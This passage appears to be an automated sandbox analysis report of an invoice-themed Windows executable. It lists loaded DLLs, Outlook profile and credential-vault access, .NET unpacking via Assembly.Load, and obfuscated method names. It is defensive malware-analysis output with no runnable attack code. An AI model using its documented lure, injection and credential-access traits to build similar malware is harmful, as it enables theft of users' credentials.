Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\svchost.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: z1SupplyInvoiceCM60916_Doc.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: z1SupplyInvoiceCM60916_Doc.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: z1SupplyInvoiceCM60916_Doc.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: paDa.pdbSHA256 source: z1SupplyInvoiceCM60916_Doc.exe, dpqsbGoWdXlp.exe.0.dr
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: IEFVDUdSaLLhw.exe, 0000000D.00000000.2215877606.0000000000B2E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: wntdll.pdbUGP source: z1SupplyInvoiceCM60916_Doc.exe, 0000000B.00000002.2300679134.00000000016D0000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578288842.000000000369E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578288842.0000000003500000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2301632908.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2299969271.0000000003100000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: z1SupplyInvoiceCM60916_Doc.exe, z1SupplyInvoiceCM60916_Doc.exe, 0000000B.00000002.2300679134.00000000016D0000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 0000000F.00000002.4578288842.000000000369E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578288842.0000000003500000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2301632908.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2299969271.0000000003100000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: paDa.pdb source: z1SupplyInvoiceCM60916_Doc.exe, dpqsbGoWdXlp.exe.0.dr
Source:	Binary string: svchost.pdb source: z1SupplyInvoiceCM60916_Doc.exe, 0000000B.00000002.2300268708.0000000001177000.00000004.00000020.00020000.00000000.sdmp, IEFVDUdSaLLhw.exe, 0000000D.00000003.2375679084.0000000000A49000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: z1SupplyInvoiceCM60916_Doc.exe, 0000000B.00000002.2300268708.0000000001177000.00000004.00000020.00020000.00000000.sdmp, IEFVDUdSaLLhw.exe, 0000000D.00000003.2375679084.0000000000A49000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, KyybefU7jS1OJapg9Y.cs	.Net Code: yN7bnauVQW System.Reflection.Assembly.Load(byte[])
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, KyybefU7jS1OJapg9Y.cs	.Net Code: yN7bnauVQW System.Reflection.Assembly.Load(byte[])
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.351adf0.0.raw.unpack, RZ.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, KyybefU7jS1OJapg9Y.cs	.Net Code: yN7bnauVQW System.Reflection.Assembly.Load(byte[])
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.5e00000.4.raw.unpack, RZ.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.352c034.1.raw.unpack, RZ.cs	.Net Code: System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 0_2_05A74770 pushad ; retf	0_2_05A74771
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_00408822 push eax; retf	11_2_0040889D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0041482C push edx; ret	11_2_0041482D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_00408892 push eax; retf	11_2_0040889D
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0041F269 push edi; iretd	11_2_0041F26B
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0040D324 push ecx; ret	11_2_0040D325
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_00418333 push ecx; retf	11_2_00418334
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0041438E push cs; iretd	11_2_0041438F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0040C40C push ss; iretd	11_2_0040C40F
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0041F4D3 push edi; ret	11_2_0041F4DE
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_004034E0 push eax; ret	11_2_004034E2
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_004116F5 pushad ; retf	11_2_004116FF
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016D225F pushad ; ret	11_2_016D27F9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016D27FA pushad ; ret	11_2_016D27F9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017009AD push ecx; mov dword ptr [esp], ecx	11_2_017009B6
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016D283D push eax; iretd	11_2_016D2858
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Code function: 12_2_06C1AE89 pushfd ; retn 0006h	12_2_06C1AE8A
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Code function: 12_2_06C1AE59 pushfd ; retn 0006h	12_2_06C1AE5A
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Code function: 12_2_06C1AF58 pushfd ; retn 0006h	12_2_06C1AF5A
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Code function: 12_2_06C1A88B push es; retf	12_2_06C1A88C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0350225F pushad ; ret	15_2_035027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035027FA pushad ; ret	15_2_035027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035309AD push ecx; mov dword ptr [esp], ecx	15_2_035309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0350283D push eax; iretd	15_2_03502858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0350135E push eax; iretd	15_2_03501369
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007D17CC pushfd ; retn 9C65h	15_2_007D17DC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007BE212 pushad ; retf	15_2_007BE21C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007C4E50 push ecx; retf	15_2_007C4E51
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007B8F29 push ss; iretd	15_2_007B8F2C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007C1349 push edx; ret	15_2_007C134A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007B533F push eax; retf	15_2_007B53BA

Source: z1SupplyInvoiceCM60916_Doc.exe	Static PE information: section name: .text entropy: 7.5545631367801445
Source: dpqsbGoWdXlp.exe.0.dr	Static PE information: section name: .text entropy: 7.5545631367801445

Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, xw89F7YueMt8vZytUc.cs	High entropy of concatenated method names: 'sWri9Dv2Cr', 'HfliFrxcLH', 'UxPi4PYWD6', 'SlKiBVIZnH', 'xuhivrpmcU', 'dSliH9hikd', 'tmXixgNvRa', 'cZyiaCAnur', 'UBJiCmajrs', 'm6iiwKBAMs'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, SyDLEqfgCqteMB2lecd.cs	High entropy of concatenated method names: 'x4LNTJtFb2', 'Py1NAsZ8yG', 'hxINnTwKS2', 'gWmNWXg7hx', 'HmjNsac63A', 'Ii1NPHFM0A', 'R9rNlpDKEA', 'JNDNYkIBqh', 'FHtN8GpJ4W', 'hq4NVNEY1n'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, KyybefU7jS1OJapg9Y.cs	High entropy of concatenated method names: 'PJS1ECS16K', 'S3Y1K6escH', 'W3J1ikFEp4', 'RvW1QBg5I5', 'PZq13eOdt2', 'AvP1Ochsji', 'bN31S43aya', 'vCt1U7p1pe', 'rin17gYWAh', 'ItO152Qf4x'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, oYsqIlCnTUHAL5yNdT.cs	High entropy of concatenated method names: 'QUHuh7FruA', 't21upavGwj', 'mHou27mwLm', 'Gjuu65hclw', 'PiOu9bfQok', 'EYMuJcnjBj', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, lcdLy2b2BtInoffoCX.cs	High entropy of concatenated method names: 'EVefSw89F7', 'qeMfUt8vZy', 'IdZf59k6MS', 'BiofDtyjIv', 'FUPfjpuXx7', 'moZfcLdiGq', 'eGUquBS7FtqK6M5AqA', 'lDBRFqIUNOm4aPJSIC', 'kmeffj6EiD', 'cvif1v1nfO'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, xPNCP4yKlaxQ4Igfyn.cs	High entropy of concatenated method names: 'Q5tnhUTDn', 'WHxWu5LLH', 'kx9PZjKIJ', 'AfQlejln7', 'zLy8Ik4cg', 'MIOVhIMR4', 'pZ9X69CZpD6xee0eyj', 'yuC93sBUHg0h6iLYsO', 'DjPuxgM2q', 'xUjGapCnn'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, IuWCuwaCZ9qAvA1W6x.cs	High entropy of concatenated method names: 'bN6uKDaq8w', 'OGLuiMmXMA', 'YpOuQi7XBm', 'Meyu3x6kGB', 'BsUuO5aL3s', 'bAruShdFs1', 'XrpuUexEgq', 'vMJu7KAQqb', 'uyYu5lujPq', 'sLWuD9TbGU'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, gASMV9RVBgKVwEwNiD.cs	High entropy of concatenated method names: 'iWvSK0AVR7', 'mgoSQDfFKF', 'pDHSO6u4yU', 'eb5OwxOrXX', 'A6TOzHDon5', 'g5hSgZD5Xj', 'DLWSfk3YNH', 'pY9Sy9Sv3v', 'lunS1Ad3Pk', 'I2aSbwAjNB'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, zRoxmbmHnDHuxCxZCd.cs	High entropy of concatenated method names: 'lHrdYpl1Xy', 'DT5d8GKhGT', 'PR6dhA88ML', 'U0DdpFGXlB', 'b3qd6BFl1E', 'uFmdJ44aUo', 'HendRKae0D', 'fnidIcFG97', 'YpUdLpF2Jq', 'qfBdkskvDN'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, cjIvqmVOZC7W8VUPpu.cs	High entropy of concatenated method names: 'o7C3sDMlZk', 'wtX3lU4LH3', 'XfHQ2G57hp', 'BO3Q6KfRuf', 'X82QJgkpxR', 'f2AQM2DNxT', 'NNmQRgxcMD', 'CZjQIMEtjF', 'YfsQrJwaS6', 'MpIQLHxbSg'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, Kxx6uJrqrlMwC868Od.cs	High entropy of concatenated method names: 'XeMSTDJMso', 'pFSSA5gmwD', 'vlbSnYiZpD', 'g0KSWxewo5', 'fGOSsQvi0A', 'xB0SPH4F77', 'XCWSlLasPF', 'gsZSYkTBAU', 'RgcS8G4JhN', 'dbtSV1fJeb'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, lJ1lmuwDVXmUIT39XW.cs	High entropy of concatenated method names: 'f7XNf494eI', 'GZfN1QnFx9', 'bjfNbO3QL2', 'OSwNKssN49', 'dn7NiWsHbE', 'IxLN3RkdTf', 'xjbNOlfbnt', 'THauxMGepf', 'bI4uasv8mA', 'S6luCqOYTG'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, l3kDJff1JYZOmW6mjYW.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'rChG9XBC9k', 'V2LGFhMKEE', 'wJyG4JOd4u', 'MH5GBf8JRO', 'IjAGvVuqeh', 'RyiGHpjV3c', 'aY0GxuuoDF'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, GfCw7jQCMa4j5lUVJ1.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'DZfyC3Ruq5', 'nW1ywPsUfh', 'QOryzYOcZS', 'o3O1gCjS8b', 'TAU1f6NRQg', 'nl71yTe4S0', 'E5311gWi7D', 'sEqRdMiUELJ0ESrcWRq'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, DwgS3W4DKNAZdSMCnK.cs	High entropy of concatenated method names: 'ToString', 'zTlckgCOgG', 'uL7cpfQne0', 'b2vc2MiVZS', 'WlEc6beF4D', 'bT8cJ6xomp', 'tW2cMVXRN1', 'sNgcRCVDnI', 'LaTcI6bcIW', 'fKacrVFuI8'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, oARh1kffG9A3XXehTWC.cs	High entropy of concatenated method names: 'ToString', 'p1DG1ZBpqA', 'NHxGbUVbY6', 'GdlGEHFfN5', 'NJRGKv0vpt', 'cd6Gi15ZuG', 'rxKGQJ1TVg', 'oaWG3N9NPS', 'thOWPxx2EfNQqcgcmov', 'txH8NMxTcjHZcghXtEN'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, K6t1S68dZ9k6MSsiot.cs	High entropy of concatenated method names: 'SuyQWnF2Id', 'TUVQPyrsDS', 'QZQQY4T2si', 'xluQ8brcpj', 'aZAQjiFrO2', 'SDjQcIkelw', 'mfNQti3Ubo', 'EgtQuM4m3Y', 'Xu2QN87KX4', 'ajZQGHJTtk'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, NOh5oUiP7BEbW3jLcm.cs	High entropy of concatenated method names: 'Dispose', 'SVRfC1PG1k', 'jxZypfTUHV', 'bJlhhNlhGA', 'U2ufwWCuwC', 'w9qfzAvA1W', 'ProcessDialogKey', 'IxdygYsqIl', 'zTUyfHAL5y', 'rdTyy7J1lm'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, LqAds0B4urYTsFfC7W.cs	High entropy of concatenated method names: 'auXt5fInx9', 'NbrtDP6CAY', 'ToString', 'HjjtK98WNB', 'TvJti2Use4', 'TwotQCkLZ4', 'yaGt3AbBeG', 'LIXtO5eYp8', 'MAOtSjxTtI', 'l8gtUtaXq0'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, tx75oZhLdiGqcbtCxe.cs	High entropy of concatenated method names: 'jhoOETkVtN', 'CpNOinFvxv', 'P0pO3hoPUs', 'hDeOSCe1nJ', 'tu5OUlCtfj', 'lOt3vfoLkO', 'JYo3H4w2ZL', 'rN43xsucvt', 'Ou03ac4jHs', 'y7N3CpLSqV'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, xw89F7YueMt8vZytUc.cs	High entropy of concatenated method names: 'sWri9Dv2Cr', 'HfliFrxcLH', 'UxPi4PYWD6', 'SlKiBVIZnH', 'xuhivrpmcU', 'dSliH9hikd', 'tmXixgNvRa', 'cZyiaCAnur', 'UBJiCmajrs', 'm6iiwKBAMs'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, SyDLEqfgCqteMB2lecd.cs	High entropy of concatenated method names: 'x4LNTJtFb2', 'Py1NAsZ8yG', 'hxINnTwKS2', 'gWmNWXg7hx', 'HmjNsac63A', 'Ii1NPHFM0A', 'R9rNlpDKEA', 'JNDNYkIBqh', 'FHtN8GpJ4W', 'hq4NVNEY1n'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, KyybefU7jS1OJapg9Y.cs	High entropy of concatenated method names: 'PJS1ECS16K', 'S3Y1K6escH', 'W3J1ikFEp4', 'RvW1QBg5I5', 'PZq13eOdt2', 'AvP1Ochsji', 'bN31S43aya', 'vCt1U7p1pe', 'rin17gYWAh', 'ItO152Qf4x'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, oYsqIlCnTUHAL5yNdT.cs	High entropy of concatenated method names: 'QUHuh7FruA', 't21upavGwj', 'mHou27mwLm', 'Gjuu65hclw', 'PiOu9bfQok', 'EYMuJcnjBj', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, lcdLy2b2BtInoffoCX.cs	High entropy of concatenated method names: 'EVefSw89F7', 'qeMfUt8vZy', 'IdZf59k6MS', 'BiofDtyjIv', 'FUPfjpuXx7', 'moZfcLdiGq', 'eGUquBS7FtqK6M5AqA', 'lDBRFqIUNOm4aPJSIC', 'kmeffj6EiD', 'cvif1v1nfO'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, xPNCP4yKlaxQ4Igfyn.cs	High entropy of concatenated method names: 'Q5tnhUTDn', 'WHxWu5LLH', 'kx9PZjKIJ', 'AfQlejln7', 'zLy8Ik4cg', 'MIOVhIMR4', 'pZ9X69CZpD6xee0eyj', 'yuC93sBUHg0h6iLYsO', 'DjPuxgM2q', 'xUjGapCnn'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, IuWCuwaCZ9qAvA1W6x.cs	High entropy of concatenated method names: 'bN6uKDaq8w', 'OGLuiMmXMA', 'YpOuQi7XBm', 'Meyu3x6kGB', 'BsUuO5aL3s', 'bAruShdFs1', 'XrpuUexEgq', 'vMJu7KAQqb', 'uyYu5lujPq', 'sLWuD9TbGU'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, gASMV9RVBgKVwEwNiD.cs	High entropy of concatenated method names: 'iWvSK0AVR7', 'mgoSQDfFKF', 'pDHSO6u4yU', 'eb5OwxOrXX', 'A6TOzHDon5', 'g5hSgZD5Xj', 'DLWSfk3YNH', 'pY9Sy9Sv3v', 'lunS1Ad3Pk', 'I2aSbwAjNB'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, zRoxmbmHnDHuxCxZCd.cs	High entropy of concatenated method names: 'lHrdYpl1Xy', 'DT5d8GKhGT', 'PR6dhA88ML', 'U0DdpFGXlB', 'b3qd6BFl1E', 'uFmdJ44aUo', 'HendRKae0D', 'fnidIcFG97', 'YpUdLpF2Jq', 'qfBdkskvDN'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, cjIvqmVOZC7W8VUPpu.cs	High entropy of concatenated method names: 'o7C3sDMlZk', 'wtX3lU4LH3', 'XfHQ2G57hp', 'BO3Q6KfRuf', 'X82QJgkpxR', 'f2AQM2DNxT', 'NNmQRgxcMD', 'CZjQIMEtjF', 'YfsQrJwaS6', 'MpIQLHxbSg'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, Kxx6uJrqrlMwC868Od.cs	High entropy of concatenated method names: 'XeMSTDJMso', 'pFSSA5gmwD', 'vlbSnYiZpD', 'g0KSWxewo5', 'fGOSsQvi0A', 'xB0SPH4F77', 'XCWSlLasPF', 'gsZSYkTBAU', 'RgcS8G4JhN', 'dbtSV1fJeb'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, lJ1lmuwDVXmUIT39XW.cs	High entropy of concatenated method names: 'f7XNf494eI', 'GZfN1QnFx9', 'bjfNbO3QL2', 'OSwNKssN49', 'dn7NiWsHbE', 'IxLN3RkdTf', 'xjbNOlfbnt', 'THauxMGepf', 'bI4uasv8mA', 'S6luCqOYTG'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, l3kDJff1JYZOmW6mjYW.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'rChG9XBC9k', 'V2LGFhMKEE', 'wJyG4JOd4u', 'MH5GBf8JRO', 'IjAGvVuqeh', 'RyiGHpjV3c', 'aY0GxuuoDF'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, GfCw7jQCMa4j5lUVJ1.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'DZfyC3Ruq5', 'nW1ywPsUfh', 'QOryzYOcZS', 'o3O1gCjS8b', 'TAU1f6NRQg', 'nl71yTe4S0', 'E5311gWi7D', 'sEqRdMiUELJ0ESrcWRq'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, DwgS3W4DKNAZdSMCnK.cs	High entropy of concatenated method names: 'ToString', 'zTlckgCOgG', 'uL7cpfQne0', 'b2vc2MiVZS', 'WlEc6beF4D', 'bT8cJ6xomp', 'tW2cMVXRN1', 'sNgcRCVDnI', 'LaTcI6bcIW', 'fKacrVFuI8'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, oARh1kffG9A3XXehTWC.cs	High entropy of concatenated method names: 'ToString', 'p1DG1ZBpqA', 'NHxGbUVbY6', 'GdlGEHFfN5', 'NJRGKv0vpt', 'cd6Gi15ZuG', 'rxKGQJ1TVg', 'oaWG3N9NPS', 'thOWPxx2EfNQqcgcmov', 'txH8NMxTcjHZcghXtEN'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, K6t1S68dZ9k6MSsiot.cs	High entropy of concatenated method names: 'SuyQWnF2Id', 'TUVQPyrsDS', 'QZQQY4T2si', 'xluQ8brcpj', 'aZAQjiFrO2', 'SDjQcIkelw', 'mfNQti3Ubo', 'EgtQuM4m3Y', 'Xu2QN87KX4', 'ajZQGHJTtk'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, NOh5oUiP7BEbW3jLcm.cs	High entropy of concatenated method names: 'Dispose', 'SVRfC1PG1k', 'jxZypfTUHV', 'bJlhhNlhGA', 'U2ufwWCuwC', 'w9qfzAvA1W', 'ProcessDialogKey', 'IxdygYsqIl', 'zTUyfHAL5y', 'rdTyy7J1lm'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, LqAds0B4urYTsFfC7W.cs	High entropy of concatenated method names: 'auXt5fInx9', 'NbrtDP6CAY', 'ToString', 'HjjtK98WNB', 'TvJti2Use4', 'TwotQCkLZ4', 'yaGt3AbBeG', 'LIXtO5eYp8', 'MAOtSjxTtI', 'l8gtUtaXq0'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, tx75oZhLdiGqcbtCxe.cs	High entropy of concatenated method names: 'jhoOETkVtN', 'CpNOinFvxv', 'P0pO3hoPUs', 'hDeOSCe1nJ', 'tu5OUlCtfj', 'lOt3vfoLkO', 'JYo3H4w2ZL', 'rN43xsucvt', 'Ou03ac4jHs', 'y7N3CpLSqV'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, xw89F7YueMt8vZytUc.cs	High entropy of concatenated method names: 'sWri9Dv2Cr', 'HfliFrxcLH', 'UxPi4PYWD6', 'SlKiBVIZnH', 'xuhivrpmcU', 'dSliH9hikd', 'tmXixgNvRa', 'cZyiaCAnur', 'UBJiCmajrs', 'm6iiwKBAMs'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, SyDLEqfgCqteMB2lecd.cs	High entropy of concatenated method names: 'x4LNTJtFb2', 'Py1NAsZ8yG', 'hxINnTwKS2', 'gWmNWXg7hx', 'HmjNsac63A', 'Ii1NPHFM0A', 'R9rNlpDKEA', 'JNDNYkIBqh', 'FHtN8GpJ4W', 'hq4NVNEY1n'
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, KyybefU7jS1OJapg9Y.cs	High entropy of concatenated method names: 'PJS1ECS16K', 'S3Y1K6escH', 'W3J1ikFEp4', 'RvW1QBg5I5', 'PZq13eOdt2', 'AvP1Ochsji', 'bN31S43aya', 'vCt1U7p1pe', 'rin17gYWAh', 'ItO152Qf4x'
